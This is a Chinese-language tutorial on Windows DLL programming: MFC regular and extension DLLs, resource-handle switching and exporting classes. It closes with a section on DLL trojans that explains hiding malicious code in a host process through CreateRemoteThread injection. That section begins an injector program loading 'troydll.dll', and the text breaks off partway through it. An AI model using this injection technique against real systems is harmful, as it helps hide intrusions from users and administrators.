我们知道,在MFC应用程序中CWinApp取代了SDK程序中WinMain的地位,SDK程序WinMain所完成的工作由CWinApp的三个函数完成:
virtualBOOLInitApplication( );
virtualBOOLInitInstance( );
virtualBOOLRun(); //传说中MFC程序的“活水源头”
但是MFC规则DLL并不是MFC应用程序,它所继承自CWinApp的类不包含消息循环。这是因为,MFC规则DLL不包含CWinApp::Run机制,主消息泵仍然由应用程序拥有。如果DLL生成无模式对话框或有自己的主框架窗口,则应用程序的主消息泵必须调用从DLL导出的函数来调用PreTranslateMessage成员函数。另外,MFC规则DLL与MFC应用程序中一样,需要将所有DLL中元素的初始化放到InitInstance 成员函数中
第二组文件自定义对话框类声明及实现
#pragma once
// CDllDialog 对话框
class CDllDialog : public CDialog { DECLARE_DYNAMIC(CDllDialog)
public: CDllDialog(CWnd* pParent = NULL); // 标准构造函数 virtual ~CDllDialog();
// 对话框数据 enum { IDD = IDD_DIALOG1 };
protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP() public: afx_msg void OnBnClickedButton1(); }; |
// DllDialog.cpp : 实现文件 // #include "stdafx.h" #include "RegDll.h" #include "DllDlg.h"
// CDllDialog 对话框
IMPLEMENT_DYNAMIC(CDllDialog, CDialog)
CDllDialog::CDllDialog(CWnd* pParent /*=NULL*/) : CDialog(CDllDialog::IDD, pParent) { }
CDllDialog::~CDllDialog() { }
void CDllDialog::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); }
BEGIN_MESSAGE_MAP(CDllDialog, CDialog) ON_BN_CLICKED(IDC_BUTTON1, &CDllDialog::OnBnClickedButton1) END_MESSAGE_MAP()
// CDllDialog 消息处理程序
void CDllDialog::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 MessageBox("Hello,您好","提示信息"); } |
分析:
这一部分的编程与一般的应用程序根本没有什么不同,我们照样可以利用MFC类向导来自动为对话框上的控件添加事件。MFC类向导照样会生成类似ON_BN_CLICKED (IDC_ BUTTON1, OnBnClickedButton1) 的消息映射宏。
第三组文件DLL中的资源文件
//{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by RegDll.rc // #define IDD_DIALOG1 4000 #define IDC_BUTTON1 4000
// Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 4001 #define _APS_NEXT_COMMAND_VALUE 32771 #define _APS_NEXT_CONTROL_VALUE 4001 #define _APS_NEXT_SYMED_VALUE 4000 #endif #endif |
分析:
在MFC规则DLL中使用资源也与在MFC应用程序中使用资源没有什么不同,我们照样可以用VisualC++的资源编辑工具进行资源的添加、删除和属性的更改。
第四组文件MFC规则DLL接口函数
#ifndef _LIB_H_ #define _LIB_H_
#ifdef REGDLL_EXPORTS #define LIB_API extern "C" __declspec(dllexport) #else #define LIB_API extern "C" __declspec(dllimport) #endif
LIB_API void ShowDlg(void);
#endif /*_LIB_H_*/ |
#include"StdAfx.h" #include "resource.h" #include"DllDialog.h" #include "lib.h"
LIB_API void ShowDlg(void) { CDllDialog dllDlg; dllDlg.DoModal(); } |
分析:
这个接口并不使用MFC,但是在其中却可以调用MFC扩展类CDllDialog的函数,这体现了“规则”的概类。
与非MFC DLL完全相同,我们可以使用__declspec(dllexport)声明或在.def 中引出的方式导出MFC规则DLL中的接口。
3.5 MFC规则DLL的调用
在这里,新建一个“MFC应用程序”工程DllCall来调用3.4节所编写的RegDll库。下面21是在这个程序的对话框上点击“Call DLL”按钮时弹出3.2节MFC规则DLL中的对话框。
图21 示例窗口
“Call DLL”按钮的消息处理函数如下:
//方法一:隐式静态调用方法 #include "../RegDll/lib.h" #pragma comment(lib,"../Debug/RegDll.lib") //…………… void CDllCallDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 ShowDlg(); } |
或者:
//方法二:显式动态调用方法 void CDllCallDlg::OnBnClickedButton1() { // TODO: 在此添加控件通知处理程序代码 typedef void(*lpFun)(void); HINSTANCE hDll; //DLL 句柄
hDll=LoadLibrary(_T("../Debug/RegDll.dll")); if (NULL==hDll) { MessageBox(_T("DLL加载失败")); return; }
lpFun pShowDlg=(lpFun)GetProcAddress(hDll,"ShowDlg"); if (NULL==pShowDlg) { MessageBox(_T("DLL中函数寻找失败")); FreeLibrary(hDll); return ; }
pShowDlg();
FreeLibrary(hDll); } |
注意:在3.4节所建立的是“使用共享MFCDLL的规则DLL(D)”,其工程属性如下图所示,否则在调用的时候会出现失败,原因家3.6节。
图22 设置MFC链接方式
3.6共享MFC规则DLL的模块切换
应用程序进程本身及其调用的每个DLL模块都具有一个全局唯一的HINSTANCE句柄,它们代表了DLL或EXE模块在进程虚拟空间中的起始地址。进程本身的模块句柄一般为0x400000,而DLL模块的缺省句柄为0x10000000。如果程序同时加载了多个DLL,则每个DLL模块都会有不同的HINSTANCE。应用程序在加载DLL时对其进行了重定位。
共享MFC DLL(或MFC扩展DLL)的规则DLL涉及到HINSTANCE句柄问题,HINSTANCE句柄对于加载资源特别重要。EXE和DLL都有其自己的资源,而且这些资源的ID可能重复,应用程序需要通过资源模块的切换来找到正确的资源。如果应用程序需要来自于DLL的资源,就应将资源模块句柄指定为DLL的模块句柄;如果需要EXE文件中包含的资源,就应将资源模块句柄指定为EXE的模块句柄。
这次我们创建一个动态链接到MFCDLL的规则DLL,在其中包含如图23的对话框。
图23 DLL中窗口
另外,在与这个DLL相同的工作区中生成一个基于对话框的MFC程序,其对话框与图23完全一样。但是在此工程中我们另外添加了一个如图14的对话框。
图24 EXE中窗口
图23和图24中的对话框除了caption不同(以示区别)以外,其它的都相同。尤其值得特别注意,在DLL和EXE中我们对图23和图24的对话框使用了相同的资源ID=2000,在DLL和EXE工程的resource.h 中分别有如下的宏:
//DLL中对话框的ID
#define IDD_DLL_DIALOG 2000
//EXE中对话框的ID
#define IDD_EXE_DIALOG 2000
与3.5节静态链接MFC DLL的规则DLL相同,我们还是在规则DLL中定义接口函数ShowDlg,原型如下:
图25 代码
而为应用工程主对话框的“Call DLL”的单击事件添加如下消息处理函数:
图26 调用代码
我们以为单击“调用DLL”会弹出如图23所示DLL中的对话框,可是可怕的事情发生
了,我们看到是图24所示EXE中的对话框!
产生这个问题的根源在于应用程序与MFC规则DLL共享MFC DLL(或MFC扩展DLL)的程序总是默认使用EXE的资源,我们必须进行资源模块句柄的切换,其实现方法有三种。
方法一:在DLL接口函数中使用:AFX_MANAGE_STATE(AfxGetStaticModuleState());
我们将DLL中的接口函数ShowDlg改为:
voidShowDlg(void)
{
//方法1:在函数开始处变更,在函数结束时恢复
//将AFX_MANAGE_STATE(AfxGetStaticModuleState());作为接口函数的第一
//条语句进行模块状态切换
AFX_MANAGE_STATE(AfxGetStaticModuleState());
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
}
这次我们再点击EXE程序中的“Call DLL”按钮,弹出的是DLL中的如图13的对话框!弹出了正确的对话框资源。
AfxGetStaticModuleState是一个函数,其原型为:
AFX_MODULE_STATE*AFXAPIAfxGetStaticModuleState();
该函数的功能是在栈上(这意味着其作用域是局部的)创建一个AFX_MODULE_STATE类(模块全局数据也就是模块状态)的实例,对其进行设置,并将其指针pModuleState返回。AFX_MODULE_STATE类的原型如下:
//AFX_MODULE_STATE(globaldataforamodule)
classAFX_MODULE_STATE: public CNoTrackObject
{
public:
#ifdef_AFXDLL
AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion);
AFX_MODULE_STATE(BOOL bDLL,WNDPROCpfnAfxWndProc,DWORD dwVersion,BOOL bSystem);
#else
AFX_MODULE_STATE(BOOLbDLL);
#endif
~AFX_MODULE_STATE();
CWinApp*m_pCurrentWinApp;
HINSTANCEm_hCurrentInstanceHandle;
HINSTANCEm_hCurrentResourceHandle;
LPCTSTRm_lpszCurrentAppName;
…//省略后面的部分
}
AFX_MODULE_STATE类利用其构造函数和析构函数进行存储模块状态现场及恢复现场的工作,类似汇编中call指令对pc指针和sp寄存器的保存与恢复、中断服务程序的中断现场压栈与恢复以及操作系统线程调度的任务控制块保存与恢复。
AFX_MANAGE_STATE是一个宏,其原型为:
AFX_MANAGE_STATE(AFX_MODULE_STATE*pModuleState)
该宏用于将pModuleState设置为当前的有效模块状态。当离开该宏的作用域时(也就离开了pModuleState所指向栈上对象的作用域),先前的模块状态将由AFX_MODULE_STATE的析构函数恢复。
方法二:在DLL接口函数中使用
AfxGetResourceHandle();
AfxSetResourceHandle(HINSTANCExxx);
AfxGetResourceHandle用于获取当前资源模块句柄,而AfxSetResourceHandle则用于设置程序目前要使用的资源模块句柄。我们将DLL中的接口函数ShowDlg改为:
extern CRegDllApp theApp; //需要声明theApp 外部全局变量
void ShowDlg(void)
{
//方法2的状态变更
HINSTANCE save_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialogdlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
//方法2的状态还原
AfxSetResourceHandle(save_hInstance);
}
通过AfxGetResourceHandle和AfxSetResourceHandle的合理变更,我们能够灵活地设置程序的资源模块句柄,而方法一则只能在DLL接口函数退出的时候才会恢复模块句柄。方法二则不同,如果将ShowDlg改为:
extern CRegDllApp theApp; //需要声明theApp 外部全局变量
void ShowDlg(void)
{
//方法2的状态变更
HINSTANCE save_hInstance=AfxGetResourceHandle();
AfxSetResourceHandle(theApp.m_hInstance);
CDialog dlg(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg.DoModal();
//方法2的状态还原
AfxSetResourceHandle(save_hInstance);
//使用方法2后在此处再进行操作针对的将是应用程序的资源
CDialog dlg1(IDD_DLL_DIALOG);//打开ID为2000的对话框
dlg1.DoModal();
}
在应用程序主对话框的“调用DLL”按钮上点击,将看到两个对话框,相继为DLL中的对话框(图13)和EXE中的对话框(图14)。
方法三由应用程序自身切换
资源模块的切换除了可以由DLL接口函数完成以外,由应用程序自身也能完成。现在我们把DLL中的接口函数改为最简单的:
void ShowDlg(void)
{
CDialogdlg(IDD_DLL_DIALOG); //打开ID为2000的对话框
dlg.DoModal();
}
而将应用程序的OnBnClickedButton1函数改为:
voidCDllCallDlg::OnBnClickedButton1()
{
//方法3:由应用程序本身进行状态切换
//获取EXE模块句柄
HINSTANCE exe_hInstance= GetModuleHandle(NULL);
//或者HINSTANCE exe_hInstance=AfxGetResourceHandle();
//获取DLL模块句柄
HINSTANCE dll_hInstance=GetModuleHandle("RegDll.dll");
AfxSetResourceHandle(dll_hInstance);//切换状态
ShowDlg(); //此时显示的是DLL的对话框
AfxSetResourceHandle(exe_hInstance);//恢复状态
//资源模块恢复后再调用ShowDlg
ShowDlg(); //此时显示的是EXE的对话框
}
方法三中的Win32函数GetModuleHandle可以根据DLL的文件名获取DLL的模块句柄。如果需要得到EXE模块的句柄,则应调用带有Null参数的GetModuleHandle。方法三与方法二的不同在于方法三是在应用程序中利用AfxGetResourceHandle和AfxSetResourceHandle进行资源模块句柄切换的。同样地,在应用程序主对话框的“Call DLL”按钮上点击,也将看到两个对话框,相继为DLL中的对话框(图13)和EXE中的对话框(图14)。
4、MFC扩展DLL编写
4.1 MFC扩展DLL概述
MFC扩展DLL与MFC规则DLL的相同点在于在两种DLL的内部都可以使用MFC类库,其不同点在于MFC扩展DLL与应用程序的接口可以是MFC的。MFC扩展DLL的含义在于它是MFC的扩展,其主要功能是实现从现有MFC库类中派生出可重用的类。MFC扩展DLL使用MFC动态链接库版本,因此只有用共享MFC版本生成的MFC可执行文件(应用程序或规则DLL)才能使用MFC扩展DLL。
从前文可知,MFC规则DLL被MFC向导自动添加了一个CWinApp的对象,而MFC扩展DLL则不包含该对象,它只是被自动添加了DllMain函数。对于MFC扩展DLL,开发人员必须在DLL的DllMain函数中添加初始化和结束代码。
从下表我们可以看出三种DLL对DllMain入口函数的不同处理方式:
DLL类型 |
入口函数 |
非MFCDLL |
编程者提供DllMain函数 |
MFC规则DLL |
CWinApp对象的InitInstance 和ExitInstance |
MFC扩展DLL |
MFCDLL向导生成DllMain函数 |
对于MFC扩展DLL,系统会自动在工程中添加如下表所示的宏,这些宏为DLL和应用程序的编写提供了方便。像AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA这样的宏,在DLL和应用程序中将具有不同的定义,这取决于_AFXEXT宏是否被定义。这使得在DLL和应用程序中,使用统一的一个宏就可以表示出输出和输入的不同意思。在DLL中,表示输出(因为_AFXEXT被定义,通常是在编译器的标识参数中指定/D_AFXEXT);在应用程序中,则表示输入(_AFXEXT没有定义)。
宏 |
定义 |
AFX_CLASS_IMPORT |
__declspec(dllimport) |
AFX_API_IMPORT |
__declspec(dllimport) |
AFX_DATA_IMPORT |
__declspec(dllimport) |
AFX_CLASS_EXPORT |
__declspec(dllexport) |
AFX_API_EXPORT |
__declspec(dllexport) |
AFX_DATA_EXPORT |
__declspec(dllexport) |
AFX_EXT_CLASS |
#ifdef_AFXEXT AFX_CLASS_EXPORT #else AFX_CLASS_IMPORT |
AFX_EXT_API |
#ifdef_AFXEXT AFX_API_EXPORT #else AFX_API_IMPORT |
AFX_EXT_DATA |
#ifdef_AFXEXT AFX_DATA_EXPORT #else AFX_DATA_IMPORT |
4.2 MFC扩展DLL导出MFC派生类
在这个例子中,我们将产生一个名为“ExtDll”的“MFC扩展DLL”工程,在这个DLL中导出一个对话框类,这个对话框类派生自MFC类CDialog。
图27 建立MFC扩展DLL
使用MFC向导生成MFC扩展DLL时,系统会自动添加如下代码:
static AFX_EXTENSION_MODULE ExtDllDLL = { NULL, NULL };
extern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) { // 如果使用 lpReserved,请将此移除 UNREFERENCED_PARAMETER(lpReserved);
if (dwReason == DLL_PROCESS_ATTACH) { TRACE0("ExtDll.DLL 正在初始化!\n");
// 扩展 DLL 一次性初始化 if (!AfxInitExtensionModule(ExtDllDLL, hInstance)) return 0;
// 将此 DLL 插入到资源链中 // 注意: 如果此扩展 DLL 由 // MFC 规则 DLL (如 ActiveX 控件)隐式链接到, // 而不是由 MFC 应用程序链接到,则需要 // 将此行从 DllMain 中移除并将其放置在一个 // 从此扩展 DLL 导出的单独的函数中。使用此扩展 DLL 的 // 规则 DLL 然后应显式 // 调用该函数以初始化此扩展 DLL。否则, // CDynLinkLibrary 对象不会附加到 // 规则 DLL 的资源链,并将导致严重的 // 问题。
new CDynLinkLibrary(ExtDllDLL); } else if (dwReason == DLL_PROCESS_DETACH) { TRACE0("ExtDll.DLL 正在终止!\n");
// 在调用析构函数之前终止该库 AfxTermExtensionModule(ExtDllDLL); } return 1; // 确定 } |
我们需要对这一段代码进行解读:
(1)上述代码完成MFC扩展DLL的初始化和终止处理;
(2)初始化期间所创建的CDynLinkLibrary对象使MFC扩展DLL可以将DLL中的CRuntimeClass对象或资源导出到应用程序;
(3)AfxInitExtensionModule函数捕获模块的CRuntimeClass结构和在创建CDynLinkLibrary对象时使用的对象工厂(COleObjectFactory对象);
(4)AfxTermExtensionModule函数使MFC得以在每个进程与扩展DLL分离时(进程退出或使用AfxFreeLibrary卸载DLL时)清除扩展DLL;
(5)第一条语句static AFX_EXTENSION_MODULEExtDllDLL={NULL,NULL};
定义了一个AFX_EXTENSION_MODULE类的静态全局对象,
AFX_EXTENSION_MODULE的定义如下:
struct AFX_EXTENSION_MODULE
{
BOOL bInitialized;
HMODULE hModule;
HMODULE hResource;
CRuntimeClass* pFirstSharedClass;
COleObjectFactory* pFirstSharedFactory;
};
由AFX_EXTENSION_MODULE的定义我们可以更好的理解(2)、(3)、(4)点。
在资源编辑器中添加一个对话框,并使用MFC类向导为其添加一个对应的类CExtDialog,系统自动添加了ExtDialog.h和ExtDialog.cpp两个头文件。修改ExtDialog.h中CExtDialog类的声明为:
class AFX_EXT_CLASSCExtDialog: public CDialog
{
//……………………………………..
}
这其中最主要的改变是我们在classAFX_EXT_CLASSCExtDialog语句中添加了“AFX_EXT_CLASS”宏,则使得DLL中的CExtDialog类被导出。
4.3 MFC扩展DLL的调用
4.3.1 隐式静态调用
我们在6.2工程所在的工作区中添加一个CallDll工程,用于演示MFC扩展DLL的加载。在该工程中添加一个如图16所示的对话框,这个对话框上包括一个“Call DLL”按钮。
图28 窗口及其调用代码
为提供给用户隐式调用(MFC扩展DLL一般使用隐式加载,具体原因见下节),MFC扩展DLL需要提供三个文件:
(1)描述DLL中扩展类的头文件;
(2)与动态链接库对应的.LIB文件;
(3)动态链接库.DLL 文件本身。
有了这三个文件,应用程序的开发者才可充分利用MFC扩展DLL。
4.3.2 显式动态调用
显示加载MFC扩展DLL应使用MFC全局函数AfxLoadLibrary而不是WIN32API中的LoadLibrary。AfxLoadLibrary最终也调用了LoadLibrary这个API,但是在调用之前进行了线程同步的处理。
AfxLoadLibrary的函数原型与LoadLibrary完全相同,为:
HINSTANCEAFXAPI AfxLoadLibrary(LPCTSTR lpszModuleName );
与之相对应的是,MFC应用程序应使用AfxFreeLibrary而非FreeLibrary卸载MFC扩展DLL。AfxFreeLibrary的函数原型也与FreeLibrary完全相同,为:
BOOLAFXAPI AfxFreeLibrary(HINSTANCE hInstLib);
如果我们把上例中的“调用DLL”按钮单击事件的消息处理函数改为:
图29 调用代码
则工程会出现link 错误:
1>------ 已启动生成: 项目: CallDll, 配置:Debug Win32 ------
1>正在链接...
1>CallDllDlg.obj : error LNK2019: 无法解析的外部符号"__declspec(dllimport) public: virtual __thiscallCExtDlg::~CExtDlg(void)"(__imp_??1CExtDlg@@UAE@XZ),该符号在函数"public: void__thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用
1>CallDllDlg.obj : error LNK2019: 无法解析的外部符号"__declspec(dllimport) public: __thiscallCExtDlg::CExtDlg(class CWnd *)"(__imp_??0CExtDlg@@QAE@PAVCWnd@@@Z),该符号在函数"public:void __thiscall CCallDllDlg::OnBnClickedButton1(void)"(?OnBnClickedButton1@CCallDllDlg@@QAEXXZ) 中被引用
1>D:\StudyPrj\ExtDll\Debug\CallDll.exe: fatal error LNK1120: 2 个无法解析的外部命令
1>生成日志保存在“file://d:\StudyPrj\ExtDll\CallDll\Debug\BuildLog.htm”
1>CallDll - 3 个错误,个警告
========== 生成: 成功0 个,失败1 个,最新0 个,跳过0 个==========
提示CExtDlg的构造函数和析构函数均无法找到!是的,对于派生MFC类的MFC扩展DLL,当我们要在应用程序中使用DLL中定义的派生类时,我们不宜使用动态加载DLL的方法。
4.4 MFC扩展DLL调用MFC扩展DLL
我们可以在MFC扩展DLL中再次使用MFC扩展DLL,但是,由于在两个DLL中对于AFX_EXT_CLASS、AFX_EXT_API、AFX_EXT_DATA宏的定义都是输出,这会导致调用的时候出现问题。
我们将会在调用MFC扩展DLL的DLL中看到link错误:
error LNK2001:unresolved external symbol….......
因此,在调用MFC扩展DLL的MFC扩展DLL中,在包含被调用DLL的头文件之前,需要临时重新定义AFX_EXT_CLASS的值。下面的例子显示了如何实现:
//临时改变宏的含义“输出”为“输入”
#undefAFX_EXT_CLASS
#undefAFX_EXT_API
#undefAFX_EXT_DATA
#defineAFX_EXT_CLASSAFX_CLASS_IMPORT
#defineAFX_EXT_APIAFX_API_IMPORT
#defineAFX_EXT_DATAAFX_DATA_IMPORT
//包含被调用MFC扩展DLL的头文件
#include"CalledDLL.h"
//恢复宏的含义为输出
#undefAFX_EXT_CLASS
#undefAFX_EXT_API
#undefAFX_EXT_DATA
#defineAFX_EXT_CLASSAFX_CLASS_EXPORT
#defineAFX_EXT_APIAFX_API_EXPORT
#defineAFX_EXT_DATAAFX_DATA_EXPORT
4.5 MFC扩展DLL导出函数和变量
MFC扩展DLL导出函数和变量的方法也十分简单,下面我们给出一个简单的例子。我们在MFC向导生成的MFC扩展DLL工程中添加gobal.h和global.cpp两个文件:
//global.h:MFC 扩展DLL导出变量和函数的声明
extern"C"
{
int AFX_EXT_DATAtotal; //导出变量
int AFX_EXT_API add(intx,int y);//导出函数
}
//global.cpp:MFC 扩展DLL导出变量和函数定义
#include"StdAfx.h"
#include"global.h"
extern"C" int total;
int add(int x,int y)
{
total=x+y;
returntotal;
}
编写一个简单的控制台程序来调用这个MFC扩展DLL:
#include<iostream.h>
#include<afxver_.h> //AFX_EXT_DATA、AFX_EXT_API宏的定义在afxver_.h头文件中
#pragma comment(lib,"ExtDll.lib")
#include"../global.h"
int main(int argc,char*argv[])
{
cout<<add(2,3)<<endl;
cout<<total;
return0;
}
令外,在Visual C++下建立MFC扩展DLL时,MFC DLL向导会自动生成.def 文件。因此,对于函数和变量,我们除了可以利用AFX_EXT_DATA、AFX_EXT_API宏导出以外,在.def文件中定义导出也是一个很好的办法。与之相比,在.def文件中导出类却较麻烦。通常需要从工程生成的.map 文件中获得类的所有成员函数被C++编译器更改过的标识符,并且在.def文件中导出这些“奇怪”的标识符。因此,MFC扩展DLL通常以AFX_EXT_CLASS宏直接声明导出类。
4.6 MFC扩展DLL的应用
上述各小节所举MFC扩展DLL的例子均只是为了说明某方面的问题,没有真实地体现“MFC扩展”的内涵,譬如EXTDll中派生自CDialog的类也不具备比CDialog更强的功能。MFC扩展DLL的真实内涵体现在它提供的类虽然派生自MFC类,但是提供了比MFC类更强大的功能、更丰富的接口。下面我们来看一个具体的例子。
我们知道static控件所对应的CStatic类不具备设置背景和文本颜色的接口,这使得我们不能在对话框或其它用户界面上自由灵活地修改static控件的颜色风格,因此我们需要一个提供了SetBackColor和SetTextColor接口的CStatic派生类CMultiColorStatic。
这个类的声明如下:
class AFX_EXT_CLASSCMultiColorStatic : public CStatic
{
// Construction
public:
CMultiColorStatic();
virtual ~CMultiColorStatic();
// Attributes
protected:
CString m_strCaption;
COLORREF m_BackColor;
COLORREF m_TextColor;
// Operations
public:
void SetTextColor( COLORREF TextColor );
void SetBackColor( COLORREF BackColor );
void SetCaption( CString strCaption );
// Generated message map functions
protected:
afx_msg void OnPaint();
DECLARE_MESSAGE_MAP()
};
在这个类的实现文件中,我们需要为它提供WM_PAINT消息的处理函数(这是因为颜色的设置依赖于WM_PAINT消息):
BEGIN_MESSAGE_MAP(CMultiColorStatic, CStatic)
//{{AFX_MSG_MAP(CMultiColorStatic)
ON_WM_PAINT() //为这个类定义WM_PAINT消息处理函数
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
下面是这个类中的重要成员函数:
//为CMultiColorStatic类添加“设置文本颜色”接口
void CMultiColorStatic::SetTextColor( COLORREF TextColor )
{
m_TextColor = TextColor; //设置文字颜色
}
//为CMultiColorStatic类添加“设置背景颜色”接口
void CMultiColorStatic::SetBackColor( COLORREF BackColor )
{
m_BackColor = BackColor; //设置背景颜色
}
//为CMultiColorStatic类添加“设置标题”接口
void CMultiColorStatic::SetCaption( CString strCaption )
{
m_strCaption = strCaption;
}
//重画Static,颜色和标题的设置都依赖于这个函数
void CMultiColorStatic::OnPaint()
{
CPaintDC dc(this); // device context for painting
CRect rect;
GetClientRect( &rect );
dc.SetBkColor( m_BackColor );
dc.SetBkMode( TRANSPARENT );
CFont *pFont = GetParent()->GetFont();//得到父窗体的字体
CFont *pOldFont;
pOldFont = dc.SelectObject( pFont );//选用父窗体的字体
dc.SetTextColor( m_TextColor );//设置文本颜色
dc.DrawText( m_strCaption, &rect, DT_CENTER );//文本在Static中央
dc.SelectObject( pOldFont );
}
为了验证CMultiColorStatic类,我们制作一个基于对话框的应用程序,它包含一个如图4-3所示的对话框。该对话框上包括一个static控件和三个按钮,这三个按钮可分别把static控件设置为“红色”、“蓝色”和“绿色”。
图30 扩展的CStatic类调用演示
下面看看应如何编写与这个对话框对应的类。
包含这种Static的对话框类的声明如下:
#include "../MultiColorStatic.h"
#pragma comment ( lib, "ColorStatic.lib" )
// CCallDllDlg dialog
class CCallDllDlg : public CDialog
{
public:
CCallDllDlg(CWnd* pParent = NULL); // standardconstructor
enum { IDD = IDD_CALLDLL_DIALOG };
CMultiColorStatic m_colorstatic; //包含一个CMultiColorStatic的实例
protected:
virtual void DoDataExchange(CDataExchange* pDX);//DDX/DDVsupport
HICON m_hIcon;
// Generated message map functions
//{{AFX_MSG(CCallDllDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
afx_msg void OnRedButton();
afx_msg void OnBlueButton();
afx_msg void OnGreenButton();
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
下面是这个类中与使用CMultiColorStatic相关的主要成员函数:
void CCallDllDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CCallDllDlg)
DDX_Control(pDX, IDC_COLOR_STATIC, m_colorstatic);
//使m_colorstatic与IDC_COLOR_STATIC控件关联
//}}AFX_DATA_MAP
}
BOOL CCallDllDlg::OnInitDialog()
{
…
// TODO: Add extra initialization here
// 初始static控件的显示
m_colorstatic.SetCaption("最开始为黑色");
m_colorstatic.SetTextColor(RGB(0,0,0));
return TRUE; // return TRUE unless you set the focus to acontrol
}
//设置static控件文本颜色为红色
void CCallDllDlg::OnRedButton()
{
m_colorstatic.SetCaption( "改变为红色");
m_colorstatic.SetTextColor( RGB( 255, 0, 0 ) );
Invalidate( TRUE ); //导致发出WM_PAINT消息
}
//设置static控件文本颜色为蓝色
void CCallDllDlg::OnBlueButton()
{
m_colorstatic.SetCaption( "改变为蓝色");
m_colorstatic.SetTextColor( RGB( 0, 0, 255 ) );
Invalidate( TRUE ); //导致发出WM_PAINT消息
}
//设置static控件文本颜色为绿色
void CCallDllDlg::OnGreenButton()
{
m_colorstatic.SetCaption( "改变为绿色");
m_colorstatic.SetTextColor( RGB(0,255,0) );
Invalidate( TRUE ); //导致发出WM_PAINT消息
}
至此,我们已经讲解完MFC扩展DLL。
5、DLL的实际应用
动态链接库DLL实现了库的共享,体现了代码重用的思想。我们可以把广泛的、具有共性的、能够多次被利用的函数和类定义在库中。这样,在再次使用这些函数和类的时候,就不再需要重新添加与这些函数和类相关的代码。具有共性的问题大致有哪些呢?归纳如下:
(1)通用的算法
图像处理、视频音频解码、压缩与解压缩、加密与解密通常采用某些特定的算法,这些算法较固定且在这类程序中往往经常被使用。
(2)纯资源DLL
我们可以从DLL中获取资源,对于一个支持多种语言的应用程序而言,我们可以判断操作系统的语言,并自动为应用程序加载与OS对应的语言。这是多语言支持应用程序的一般做法。
(3)通信控制DLL
串口、网口的通信控制函数如果由DLL提供则可以使应用程序轻松不少。在工业控制、modem程序甚至socket通信中,经常使用通信控制DLL。
(4)Windows模块DLL
如Windows控制面板模块编写、ODBC驱动程序的编写、ActiveX控件的编写、COM的编写都是使用的DLL编程。
6、DLL木马
6.1 DLL木马的原理
DLL木马的实现原理是编程者在DLL中包含木马程序代码,随后在目标主机中选择特定目标进程,以某种方式强行指定该进程调用包含木马程序的DLL,最终达到侵袭目标系统的目的。
正是DLL程序自身的特点决定了以这种形式加载木马不仅可行,而且具有良好的隐藏性:
(1)DLL程序被映射到宿主进程的地址空间中,它能够共享宿主进程的资源,并根据宿主进程在目标主机的级别非法访问相应的系统资源;
(2)DLL程序没有独立的进程地址空间,从而可以避免在目标主机中留下“蛛丝马迹”,达到隐蔽自身的目的。
DLL木马实现了“真隐藏”,我们在任务管理器中看不到木马“进程”,它完全溶进了系统的内核。与“真隐藏”对应的是“假隐藏”,“假隐藏”木马把自己注册成为一个服务。虽然在任务管理器中也看不到这个进程,但是“假隐藏”木马本质上还具备独立的进程空间。“假隐藏”只适用于Windows9x的系统,对于基于WINNT的操作系统,通过服务管理器,我们可以发现系统中注册过的服务。DLL木马注入其它进程的方法为远程线程插入。
远程线程插入技术指的是通过在另一个进程中创建远程线程的方法进入那个进程的内存地址空间。将木马程序以DLL的形式实现后,需要使用插入到目标进程中的远程线程将该木马DLL插入到目标进程的地址空间,即利用该线程通过调用WindowsAPILoadLibrary函数来加载木马DLL,从而实现木马对系统的侵害。
6.2 DLL木马注入程序
这里涉及到一个非常重要的WindowsAPI――CreateRemoteThread。与之相比,我们所习惯使用的CreateThreadAPI函数只能在进程自身内部产生一个新的线程,而且被创建的新线程与主线程共享地址空间和其他资源。而CreateRemoteThread则不同,它可以在另外的进程中产生线程!CreateRemoteThread有如下特点:
(1)CreateRemoteThread较CreateThread多一个参数hProcess,该参数用于指定要创建线程的远程进程,其函数原型为:
HANDLE CreateRemoteThread(
HANDLE hProcess,//远程进程句柄
LPSECURITY_ATTRIBUTESlpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINElpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
(2)线程函数的代码不能位于我们用来注入DLL木马的进程所在的地址空间中。也就是说,我们不能想当然地自己写一个函数,并把这个函数作为远程线程的入口函数;
(3)不能把本进程的指针作为CreateRemoteThread的参数,因为本进程的内存空间与远程进程的不一样。
以下程序由作者Shotgun的DLL木马注入程序简化而得(在经典书籍《Windows核心编程》中我们也可以看到类似的例子),它将d盘根目录下的troydll.dll 插入到ID为4000的进程中:
#include<windows.h> #include<stdlib.h> #include<stdio.h>
void CheckError(int, int, char*); //出错处理函数
PDWORD pdwThreadId; HANDLE hRemoteThread,hRemoteProcess; DWORD fdwCreate, dwStackSize,dwRemoteProcessId; PWSTR pszLibFileRemote=NULL;
void main(int argc,char**argv) { int iReturnCode; char lpDllFullPathName[MAX_PATH]; WCHAR pszLibFileName[MAX_PATH]={0};
dwRemoteProcessId=4000; strcpy(lpDllFullPathName, "d:\\troydll.dll");
